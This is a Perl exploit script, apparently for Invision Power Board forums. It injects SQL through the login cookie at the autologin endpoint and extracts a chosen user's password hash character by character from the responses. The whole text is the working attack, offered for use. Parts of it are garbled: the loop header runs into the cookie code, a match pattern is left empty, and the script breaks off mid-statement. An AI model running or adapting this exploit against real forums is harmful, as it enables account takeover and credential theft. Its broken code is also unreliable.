#!/usr/bin/perl -w

##################################################################

# Exploit coded by "ReMuSOMeGa & Nova" and

##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;

$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}

if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';

my $user = $ARGV[1]; # userid to jack

my $iver = $ARGV[2]; # version 1 or 2

my $cpre = $ARGV[3]; # cookie prefix

my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])

{

print "..By ReMuSoMeGa & Nova. Usage: ipb.pl [id] [ver 1/2].\n\n";

exit;

}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);

my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this

# does not appear anywhere in the sources

$pattern = '';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )

{

$outputs .= $current;

print "$current\n";

last;

}

}

if ( length($outputs)